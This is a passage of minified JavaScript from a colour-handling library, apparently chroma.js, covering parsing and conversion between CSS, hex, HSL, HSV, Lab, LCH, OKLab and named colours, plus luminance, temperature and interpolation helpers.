d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
